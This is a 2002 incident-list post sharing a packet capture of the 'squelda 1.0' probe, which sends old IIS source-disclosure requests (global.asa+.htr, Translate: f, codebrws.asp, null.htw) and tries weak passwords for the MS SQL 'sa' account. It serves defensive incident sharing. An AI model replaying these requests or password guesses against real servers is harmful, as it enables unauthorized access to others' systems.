[prev in list] [next in list] [prev in thread] [next in thread]
List: incidents
Subject: TCP:80, TCP:1433 squelda 1.0 probe
From: John Sage <jsage () finchhaven ! com>
Date: 2002-11-29 5:35:07
[Download RAW message or body]
Seen this exact tool once before, back in August, reference:
http://cert.uni-stuttgart.de/archive/intrusions/2002/08/msg00200.html
[toot@sparky ~]# host 80.13.253.117
117.253.13.80.in-addr.arpa. domain name pointer
ASte-Genev-Bois-104-1-5-117.abo.wanadoo.fr
ngrep -ext -I "snort-1128@1454.log" "" "src host 80.13.253.117"
input: snort-1128@1454.log
filter: ip and ( src host 80.13.253.117 )
#
T 2002/11/28 16:36:36.748995 80.13.253.117:3282 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:37.148992 80.13.253.117:3282 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:37.159033 80.13.253.117:3282 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:37.179025 80.13.253.117:3293 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:37.599096 80.13.253.117:3293 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:37.629139 80.13.253.117:3293 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 67 6c 6f 62 61 6c 2e 61 73 61 2b GET /global.asa+
2e 68 74 72 20 48 54 54 50 2f 31 2e 31 0d 0a 48 .htr HTTP/1.1..H
6f 73 74 3a 20 31 32 2e 38 32 2e 31 32 39 2e 31 ost: 12.82.129.1
31 39 0d 0a 0d 0a 0d 0a 19......
#
T 2002/11/28 16:36:37.629222 80.13.253.117:3282 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:38.029119 80.13.253.117:3293 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.049128 80.13.253.117:3293 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:38.109114 80.13.253.117:3314 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:38.469237 80.13.253.117:3314 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.499255 80.13.253.117:3314 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 67 6c 6f 62 61 6c 2e 61 73 61 5c GET /global.asa\
20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a HTTP/1.1..Host:
20 31 32 2e 38 32 2e 31 32 39 2e 31 31 39 0d 0a 12.82.129.119..
54 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 0d 0a Translate: f....
#
T 2002/11/28 16:36:38.899219 80.13.253.117:3314 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:38.919217 80.13.253.117:3314 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:38.929234 80.13.253.117:3334 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:39.279246 80.13.253.117:3334 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:39.299344 80.13.253.117:3334 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 67 6c 6f 62 61 6c 2e 61 73 61 3f GET /global.asa?
2b 2e 68 74 72 5c 20 5c 20 48 54 54 50 2f 31 2e +.htr\ \ HTTP/1.
31 0d 0a 48 6f 73 74 3a 20 31 32 2e 38 32 2e 31 1..Host: 12.82.1
32 39 2e 31 31 39 0d 0a 54 72 61 6e 73 6c 61 74 29.119..Translat
65 3a 20 66 0d 0a 0d 0a e: f....
#
T 2002/11/28 16:36:39.779323 80.13.253.117:3334 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:39.799339 80.13.253.117:3334 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:39.879310 80.13.253.117:3360 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:40.229377 80.13.253.117:3360 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:40.249432 80.13.253.117:3360 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 67 6c 6f 62 61 6c 2e 61 73 61 3f GET /global.asa?
2b 2e 68 74 72 20 72 20 48 54 54 50 2f 31 2e 31 +.htr r HTTP/1.1
0d 0a 48 6f 73 74 3a 20 31 32 2e 38 32 2e 31 32 ..Host: 12.82.12
39 2e 31 31 39 0d 0a 0d 0a 0d 0a 9.119......
#
T 2002/11/28 16:36:40.659416 80.13.253.117:3360 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:40.679411 80.13.253.117:3360 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:40.689424 80.13.253.117:3377 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:41.049387 80.13.253.117:3377 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.089543 80.13.253.117:3377 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 69 69 73 73 61 6d 70 6c 65 73 2f GET /iissamples/
65 78 61 69 72 2f 68 6f 77 69 74 77 6f 72 6b 73 exair/howitworks
2f 63 6f 64 65 62 72 77 73 2e 61 73 70 3f 73 6f /codebrws.asp?so
75 72 63 65 3d 2f 6c 6f 67 69 6e 2e 61 73 70 20 urce=/login.asp
48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1..Host:
31 32 2e 38 32 2e 31 32 39 2e 31 31 39 0d 0a 0d 12.82.129.119...
0a .
#
T 2002/11/28 16:36:41.489522 80.13.253.117:3377 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.499560 80.13.253.117:3377 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:41.519506 80.13.253.117:3399 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:41.859548 80.13.253.117:3399 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:41.899644 80.13.253.117:3399 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 69 69 73 73 61 6d 70 6c 65 73 2f GET /iissamples/
65 78 61 69 72 2f 68 6f 77 69 74 77 6f 72 6b 73 exair/howitworks
2f 63 6f 64 65 62 72 77 73 2e 61 73 70 3f 73 6f /codebrws.asp?so
75 72 63 65 3d 2f 69 6e 64 65 78 2e 61 73 70 20 urce=/index.asp
48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1..Host:
31 32 2e 38 32 2e 31 32 39 2e 31 31 39 0d 0a 0d 12.82.129.119...
0a .
#
T 2002/11/28 16:36:42.239564 80.13.253.117:3399 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:42.259566 80.13.253.117:3399 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:42.269578 80.13.253.117:3416 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:42.709590 80.13.253.117:3416 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:42.719651 80.13.253.117:3416 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 4c 69 6e 75 78 2e 69 64 61 20 48 GET /Linux.ida H
54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 TTP/1.1..Host: 1
32 2e 38 32 2e 31 32 39 2e 31 31 39 0d 0a 0d 0a 2.82.129.119....
#
T 2002/11/28 16:36:43.139622 80.13.253.117:3416 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.159636 80.13.253.117:3416 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:43.169673 80.13.253.117:3438 -> 12.82.129.119:80 [S]
#
T 2002/11/28 16:36:43.519712 80.13.253.117:3438 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.559913 80.13.253.117:3438 -> 12.82.129.119:80 [AP]
47 45 54 20 2f 6e 75 6c 6c 2e 68 74 77 3f 43 69 GET /null.htw?Ci
57 65 62 48 69 74 73 46 69 6c 65 3d 2f 67 6c 6f WebHitsFile=/glo
62 61 6c 2e 61 73 61 20 26 43 69 52 65 73 74 72 bal.asa &CiRestr
69 63 74 69 6f 6e 3d 6e 6f 6e 65 26 43 69 48 69 iction=none&CiHi
6c 69 74 65 54 79 70 65 3d 46 75 6c 6c 20 6c 20 liteType=Full l
48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1..Host:
31 32 2e 38 32 2e 31 32 39 2e 31 31 39 0d 0a 0d 12.82.129.119...
0a 0d 0a ...
#
T 2002/11/28 16:36:43.929729 80.13.253.117:3438 -> 12.82.129.119:80 [A]
#
T 2002/11/28 16:36:43.949712 80.13.253.117:3438 -> 12.82.129.119:80 [AF]
#
T 2002/11/28 16:36:43.949770 80.13.253.117:3460 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:44.349843 80.13.253.117:3460 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:44.489831 80.13.253.117:3460 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:44.849814 80.13.253.117:3460 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:44.919837 80.13.253.117:3460 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:44.939825 80.13.253.117:3460 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:44.949836 80.13.253.117:3483 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:45.359918 80.13.253.117:3483 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:45.489934 80.13.253.117:3483 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 31 32 33 00 00 00 00 00 00 00 ......123.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 03 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 03 31 32 33 00 00 00 00 00 00 00 00 00 ....123.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:45.899947 80.13.253.117:3483 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:45.910058 80.13.253.117:3483 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:45.910107 80.13.253.117:3483 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:46.890039 80.13.253.117:3536 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:47.240041 80.13.253.117:3536 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:47.360147 80.13.253.117:3536 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 31 32 33 34 35 00 00 00 00 00 ......12345.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 05 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 05 31 32 33 34 35 00 00 00 00 00 00 00 ....12345.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:47.720108 80.13.253.117:3536 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:47.760252 80.13.253.117:3536 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:47.780141 80.13.253.117:3536 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:47.790148 80.13.253.117:3566 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:48.210146 80.13.253.117:3566 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:48.340201 80.13.253.117:3566 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 38 38 38 38 38 38 00 00 00 00 ......888888....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 06 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 06 38 38 38 38 38 38 00 00 00 00 00 00 ....888888......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:48.760234 80.13.253.117:3566 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:48.760268 80.13.253.117:3566 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:48.770280 80.13.253.117:3566 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:48.780246 80.13.253.117:3592 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:49.140255 80.13.253.117:3592 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:49.270273 80.13.253.117:3592 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 61 62 63 64 00 00 00 00 00 00 ......abcd......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 04 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 04 61 62 63 64 00 00 00 00 00 00 00 00 ....abcd........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:49.630328 80.13.253.117:3592 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:49.640365 80.13.253.117:3592 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:49.660317 80.13.253.117:3592 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:49.670312 80.13.253.117:3617 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:50.010304 80.13.253.117:3617 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:50.130328 80.13.253.117:3617 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 70 61 73 73 00 00 00 00 00 00 ......pass......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 04 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 04 70 61 73 73 00 00 00 00 00 00 00 00 ....pass........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 04 02 00 00 4d 53 44 42 4c 49 42 00 00 00 ......MSDBLIB...
07 06 00 00 00 00 0d 11 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#
T 2002/11/28 16:36:50.490405 80.13.253.117:3617 -> 12.82.129.119:1433 [AP]
02 01 00 4c 00 00 03 00 00 00 00 00 00 00 00 01 ...L............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 30 30 30 .............000
00 00 03 00 00 00 00 00 00 00 00 00 00 .............
#
T 2002/11/28 16:36:50.490439 80.13.253.117:3617 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:50.500472 80.13.253.117:3617 -> 12.82.129.119:1433 [AF]
#
T 2002/11/28 16:36:50.510446 80.13.253.117:3636 -> 12.82.129.119:1433 [S]
#
T 2002/11/28 16:36:50.890461 80.13.253.117:3636 -> 12.82.129.119:1433 [A]
#
T 2002/11/28 16:36:51.010456 80.13.253.117:3636 -> 12.82.129.119:1433 [AP]
02 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 73 61 00 00 00 00 00 00 00 .......sa.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 02 69 6e 74 65 72 6e 65 74 00 00 ......internet..
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 08 30 30 30 30 30 30 61 30 00 00 00 .....000000a0...
00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 18 .............. .
81 b8 2c 08 03 01 06 0a 09 01 01 00 00 00 00 00 ..,.............
00 00 00 00 73 71 75 65 6c 64 61 20 31 2e 30 00 ....squelda 1.0.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 08 69 6e 74 65 72 6e 65 74 00 00 00 00 ....internet....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
